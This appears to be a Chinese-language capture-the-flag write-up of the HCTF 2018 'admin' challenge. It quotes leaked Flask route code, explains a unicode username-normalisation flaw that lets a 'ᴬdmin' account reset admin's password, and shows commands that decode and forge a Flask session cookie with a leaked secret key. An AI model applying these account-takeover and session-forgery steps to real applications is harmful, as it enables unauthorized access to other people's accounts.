HCTF 2018 admin

0x00

题目类型:unicode欺骗,源码泄露,session伪造,条件竞争(Maybe)。

0x01

题目索引界面有登录与注册两个功能,查看源码注释中有you are not admin字样,可能要求以admin身份登陆。先注册一个账号,看看有没有有用的信息。

在改密码的界面发现源码泄漏,去github看源码。源码较长,截取关键部分。

@app.route('/register', methods = ['GET', 'POST'])
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

@app.errorhandler(404)
def page_not_found(error):
    title = unicode(error)
    message = error.description
    return render_template('errors.html', title=title, message=message)

def strlower(username):
    username = nodeprep.prepare(username)
    return username

在注册与改密码两条路由下,发现都对用户名经过了strlower()函数处理,不过python有内置的lower函数,这里可能有问题。发现使用了nodeprep.prepare这个库,这个库的老版本是有一些问题的,比如unicode编码的“ᴬ”经过strlower后会被转义为标准的“A”,而后改密码时再进行strlower操作时,会被转变为“a”,这样就可以使用“admin”身份登陆了。同时发现session中没有特殊处理,可以伪造,稍后再详细分析。

0x02

Unicode欺骗:

注册一个名为“ᴬdmin”的账号,登陆进去修改密码,然后直接以admin身份登陆拿到flag。

tips:https://unicode-table.com/en/#1D2Cunicode编码在这个网站可查。

session伪造:

首先了解一点flask的知识,flask的session存储在客户端中,用burp抓包的话可以发现session直接出现在了http头中,并且session只做了签名处理但没有加密。这意味着我们可以读取session信息,如果知道密钥的话还可以伪造session。恰巧在github的config.py源码中,可以找到密钥。

在github上下载flask-cookie-session-manager这个脚本,首先解密session。

py .\flask_session_cookie_manager3.py -s "ckj123" -c ".eJw9UMGKg0AM_ZUlZw91rBehBxetbGFGLLaSXIpbrTqjXdCWLlP67xtd6OGRR154L8kTTpexnloIbuO9duDUVRA84eMbAlARGZXED9R7Qwk-SFcdRUetoqqlIfNUcfAxp04J6qTY9pg3Pg5SyDxbSY0iLTKBed9THnvK7nu0oUUR-2mS-VIoTcORNbRov9aoyaBtXGRPdvAokS5a0jLfGdShIL3VpGNXih33wrW0xmM80uJosMANvBw4T-PldPsx9fV9whIffc4xHHH2eZUVR_zyykZZ5rbxuYr5rLRQPBtaGW4Wu24om_rtVNpWHLJ_5VoOLMB9qscZ4Cx0eR24Lrz-ADhrbeA.Xwqjfw.0C9xgDXHd6DtNUBvcBG4JqJsu9Y"
#这是解密语法
{'_fresh': True, '_id': b'46d4a0b4ddf0f7bd5c47afd75e9a6b7fb3aea89bc61442669d6a9ee1774ec03ca98d93ccfeee63c28b6dc85ae93c7dc5c6c12db06f1cf153bc1083973909edaf', 'csrf_token': b'a9ed0ee68b79e14ae17fd714c89716d5c9ced030', 'image': b'k8vQ', 'name': 'useruser', 'user_id': '11'}
#这是解密信息

然后将name改为“admin”,再用脚本生成session,burp重放即可。

py .\flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'46d4a0b4ddf0f7bd5c47afd75e9a6b7fb3aea89bc61442669d6a9ee1774ec03ca98d93ccfeee63c28b6dc85ae93c7dc5c6c12db06f1cf153bc1083973909edaf', 'csrf_token': b'a9ed0ee68b79e14ae17fd714c89716d5c9ced030', 'image': b'k8vQ', 'name': 'admin', 'user_id': '11'}"

 

posted @ 2020-07-12 14:01  BlueDoor1999  阅读(149)  评论(0编辑  收藏  举报